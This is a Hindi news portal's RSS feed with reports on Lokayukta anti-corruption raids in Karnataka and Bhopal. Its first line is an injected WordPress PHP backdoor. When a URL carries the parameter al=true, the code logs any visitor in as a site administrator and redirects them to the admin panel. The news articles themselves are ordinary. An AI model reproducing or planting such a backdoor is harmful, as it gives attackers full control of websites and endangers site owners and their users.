// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Lokayukta raids – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 21 Nov 2024 16:40:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 कर्नाटक: लोकायुक्त की छापेमारी, आय से अधिक संपत्ति का मामला https://pratyushaashakinayikiran.com/?p=101244 Thu, 21 Nov 2024 16:40:00 +0000 https://pratyushaashakinayikiran.com/?p=101244 बेंगलुरु
कर्नाटक में लोकायुक्त ने गुरुवार को चार सरकारी अधिकारियों के ठिकानों पर रेड डाली। यह छापेमारी आय से अधिक संपत्ति मामले में हुई है। अधिकारियों के खिलाफ मिली शिकायत के बाद लोकायुक्त ने यह कदम उठाया है। लोकायुक्त सूत्रों के मुताबिक, बेंगलुरु, मांड्या और चिक्कबल्लापुर समेत 25 स्थानों पर यह छापेमारी हुई है। अधिकारियों ने खान और भूविज्ञान विभाग के वरिष्ठ भूविज्ञानी कृष्णावेनी एम सी, कावेरी नीरावरी निगम के सतही जल डेटा केंद्र के प्रबंध निदेशक महेश, टाउन एंड कंट्री प्लानिंग के निदेशक एनके थिप्पेस्वामी और संयुक्त उत्पाद आयुक्त कार्यालय में उत्पाद अधीक्षक मोहन के. के ठिकानों पर रेड डाली।

लोकायुक्त अधिकारी छापेमारी के दौरान प्राप्त हुए अहम दस्तावेज सहित अन्य संपत्तियों की गहनता से जांच कर रहे हैं। पिछले 10 दिनों में यह दूसरी छापेमारी है। पिछली छापेमारी के दौरान कई अहम दस्तावेज बरामद किए गए थे।

12 नवंबर को लोकायुक्त अधिकारी ने 9 सरकारी अधिकारियों के यहां छापेमारी की थी, जहां कई दस्तावेज भी बरामद हुए थे। उस वक्त छापेमारी के दौरान 22.5 करोड़ रुपये आय से अधिक संपत्ति का खुलासा हुआ था। लोकायुक्त अधिकारियों ने बेलगावी, हावेरी, दावणगेरे, कालाबुरागी, मैसूरु, रामनगर और धारवाड़ सहित 40 स्थानों पर रेड डाली थी। इससे पहले जुलाई में भी 56 ठिकानों पर लोकायुक्त द्वारा छापेमारी की गई थी। वो मामला भी आय से अधिक संपत्ति का था।

 

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नगर निगम के रिटायर्ड अधीक्षण यंत्री प्रदीप जैन के घर और दफ्तर में आज लोकायुक्त टीम ने छापा मारा https://pratyushaashakinayikiran.com/?p=58841 Fri, 09 Aug 2024 17:56:00 +0000 https://pratyushaashakinayikiran.com/?p=58841 भोपाल

मध्य प्रदेश की राजधानी भोपाल में नगर निगम के रिटायर्ड अधीक्षण यंत्री प्रदीप जैन के घर और ऑफिस में मध्य प्रदेश शासन की विशेष स्थापना लोकायुक्त टीम ने छापामार कार्रवाई कर दी। बताया जा रहा है कि, यहां से बड़ी संख्या में नगद नोट, सोने चांदी के आभूषण और प्रॉपर्टी के डॉक्यूमेंट मिले हैं। इनमें कुछ दस्तावेज जैसे हैं, जो बताते हैं कि विदेश में भी इन्वेस्टमेंट किया गया है। यह मकान प्रदीप जैन के बेटे यश जैन के नाम से रजिस्टर्ड है।

नगर निगम का दागी अधिकारी भोपाल स्मार्ट सिटी में सुप्रिटेंडेंट इंजीनियर
लोकायुक्त को पीके जैन के खिलाफ वित्तीय गड़बड़ियों की शिकायत मिली थी। इसके बाद शुक्रवार सुबह टीम एयरपोर्ट रोड स्थित पाॅश लार्ड्स कॉलोनी में स्थित उनके घर और गोविंदपुरा स्थित स्मार्ट सिटी ऑफिस में बने दफ्तर पहुंची। दोनों ही जगह से दस्तावेज जब्त किए हैं। पीके जैन रिटायरमेंट के बाद से ही भोपाल स्मार्ट सिटी में बतौर सुप्रिटेंडेंट इंजीनियर (प्रोजेक्ट) संविदा कार्यरत हैं। वहां उन्हें वित्तीय पावर भी मिले हुए हैं। जैन स्मार्ट सिटी में भी अधीक्षण यंत्री के पद पर ही काम कर रहे हैं।

फाॅरेन इन्वेस्टमेंट्स की जांच की जा रही है
लोकायुक्त के सूत्रों ने बताया कि प्रदीप जैन द्वारा विदेश में निवेश की सूचनाएं भी मिली हैं। कार्रवाई में मिले दस्तावेजों में जैन के फाॅरेन इन्वेस्टमेंट्स की जांच भी की जा रही है। पब्लिक इसके बारे में ज्यादा नहीं जानती परंतु लोगों को यह बताएं कि विदेशों से अवैध वित्तीय व्यवहार को मनी लॉन्ड्रिंग कहते हैं। भारत में यह गंभीर अपराध है। हालांकि लोकायुक्त ने स्पष्ट नहीं किया है कि उसे जो शिकायत मिली है उसमें मनी लॉन्ड्रिंग अथवा विदेश में अवैध तरीके से इन्वेस्टमेंट की डिटेल है या नहीं।

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